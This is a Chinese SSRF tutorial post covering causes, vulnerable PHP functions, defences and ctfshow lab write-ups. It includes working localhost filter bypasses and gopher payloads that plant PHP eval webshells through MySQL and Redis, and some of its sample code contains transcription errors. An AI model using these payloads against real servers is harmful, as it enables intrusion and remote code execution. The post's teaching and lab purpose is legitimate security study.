SSRF漏洞原理攻击与防御
前言:笔者对SSRF的进一步研究学习基于网络安全爱好者的兴趣,与白帽黑客的责任,仅在专业靶场和补天平台授权站点进行测试。
[TOC]
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个漏洞
一、SSRF漏洞原理:
SSRF漏洞 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

端口扫描、内网web应用指纹识别、攻击内网web应用、读取本地文件
二、SSRF漏洞挖掘:
互联网上的很多web应用提供了从其他服务器获取数据的功能。使用用户指定的URL,web应用可以获取图片、文件资源。可以说如果链接可以访问任意请求,则存在ssrf漏洞
2.1 SSRF可能产生的方式:
-
分享:通过URL地址分享网页内容
-
在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。
-
图片、文章收藏功能:此处的图片、文章收藏中的文章收藏就类似于分享功能中获取URL地址中title以及文本的内容作为显示。
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。
-
图片加载与下载:通过URL地址加载或下载图片,图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。
-
从URL关键字中寻找,可以通过谷歌语法通过关键字寻找 SSRF漏洞
share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain
2.2 PHP中可能产生SSRF漏洞的函数:
file_get_contents: file_get_contents() 把整个文件读入一个字符串中。
file_get_contents(path,include_path,context,start,max_length)
#下面的代码使用file_get_contents函数从用户指定的url获取图片。
#然后把它用一个随即文件名保存在硬盘上,并展示给用户。
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
} echo $img;
?>
sockopen(): 使用socket跟服务器建立tcp连接,传输原始数据。
# 以下代码使用fsockopen函数实现获取用户制定url的数据
# 这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
<?php
function GetFile($host,$port,$link){
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp){
echo "$errstr (error number $errno) \n";
}else{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
3、curl_exec(): curl_exec — 执行一个cURL会话
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
# 详细注释版本见web351
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
2.4 相关协议
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活
三、SSRF利用:
可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
攻击运行在内网或本地的应用程序(比如溢出);
对内网web应用进行指纹识别,通过访问默认文件实现;
攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
利用file协议读取本地文件等。各个协议调用探针:http,file,dict,ftp,gopher等
四、SSRF漏洞防御:
通常有以下5个思路:
-
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
-
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
-
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
-
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
-
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
五、SSRF漏洞常见绕过方式:
5.1 采用短网址绕过 & 采用进制转换
采用短网址进行绕过和进制转化绕过都是非常经典的方式,127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//初始化一个cURL会话
$ch=curl_init($url);
//设定返回信息中包含响应信息头
curl_setopt($ch, CURLOPT_HEADER, 0);
//启用时会将头文件的信息作为数据流输出。
//参数为1表示输出信息头,为0表示不输出
//设定curl_exec()函数将响应结果返回,而不是直接输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//参数为1表示$result,为0表示echo $result
//执行一个cURL会话
$result=curl_exec($ch);
//关闭一个curl会话
curl_close($ch);
//输出返回信息 如果CURLOPT_RETURNTRANSFER参数为fasle可省略
echo ($result);
?>
存在一个flag.php,直接访问给了提示,非本地用户无法访问, 要让我们以本地用户去访问127.0.0.1/flag.php
url=http://127.0.0.1/flag.php
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'{
if(!preg_match('/localhost|127.0.0/')){
// 进行了过滤,过滤掉了localhost和127.0.0.*
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
//启用时会将头文件的信息作为数据流输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
url=http://0x7F.0.0.1/flag.php 16进制
url=http://0177.0.0.1/flag.php 8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php
web253
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
// 这里过滤了。数字127等,我们不能利用句号或者短网址进行绕过
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}else{
die('hacker');
}
}else{
die('hacker');
}
?>
十六进制 url=http://0x7F.0.0.1/flag.php
八进制 url=http://0177.0.0.1/flag.php
10 进制整数格式 url=http://2130706433/flag.php
16 进制整数格式 url=http://0x7F000001/flag.php
短网址方式:127.0.0.1也可以写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
5.2 限制为http://www.xxx.com 域名时(利用@)
可以尝试采用http基本身份认证的方式绕过如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异。
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
?>
这里的正则表示以http://ctf.
开头,以show
结尾,即匹配http://ctf.*show
,我们可以用@方式进行绕过,如果不在ctf.
后面加@
,解析url时会把ctf.
也解析成host的内容,如果不在show
前面加#
或?
,会把show也解析到path中,得不到想要的结果
5.3 SSRF利用 Gopher 协议拓展攻击面
Web359

随便输一个用户名,进入后台靶场并没有做,使用hackbar工具打开,我们可以看到在登录时前后端传参的方法
returl=https%3A%2F%2F404.chall.ctf.show%2F&u=Username
SSRF漏洞出现在returl参数上, 利用gopher协议去打无密码的mysql 。
这里要用到工具Gopherus来生成payload进行rce ,我们可以做一个一句话木马写进去
工具下载地址: Gopherus
select ‘’ into outfile '/var/www/html/1.php

这里得到的参数必须在进行一次URL编码才能进行利用。
returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2501%2500%2500%2500%2501&u=Username
这个是check.php 不过没找到什么可以用的东西…
<?php
if(isset($_POST['returl'])){
$url = $_POST['returl'];
if(preg_match("/file|dict/i",$url)){
die();
}echo _request("$url");
}
function _request($curl,$https=true,$method='get',$data=null){
$ch=curl_init(); //初始化
curl_setopt($ch,CURLOPT_URL,$curl);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
curl_setopt($ch,CURLOPT_HEADER,false);//设置不需要头信息
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);//获取页面内容,但不输出
if($https){
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);//不做服务器认
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,FALSE);//不做客户端认证
}if($method=='post'){
curl_setopt($ch, CURLOPT_POST,true);//设置请求是post方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//设置post请求数据
}
$str=curl_exec($ch);//执行访问
curl_close($ch);//关闭curl,释放资源
return $str;
}
?>
ctfshow{2abfc1df-79f7-49a9-b02a-d5d5908d150e}
Web360
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
ssrf打redis,基本上四种攻击方式:
- 写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell
- 主从复制
当然这个题目肯定是shell,这次的flag并不在本地的flag文件中。题目提示我们打redis,同样用Gopherus工具来生成我们的payload。同样写一句话木马进去。

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
5.4 其他绕过方式:
利用特殊域名利用[::]
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]
利用句号: 127。0。0。1 >>> 127.0.0.1
CRLF 编码绕过
%0d->0x0d->\r回车 %0a->0x0a->\n换行 进行HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
封闭的字母数字
六、常见限制及对应方式:
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时:采取短网址绕过、采取特殊域名、采取进制转换
3.限制请求只为http协议
采取302跳转、采取短地址
七、免责声明
本课程及所讲述的所有技术仅能在取得足够合法授权的企业安全建设中使用,在使用学习本课程的过程中,您应确保自己所有行为符合当地的法律法规。 如您在学习本课程后中存在任何非法行为,您将自行承担所有后果,本课程所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要阅读本课程。 您的阅读行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。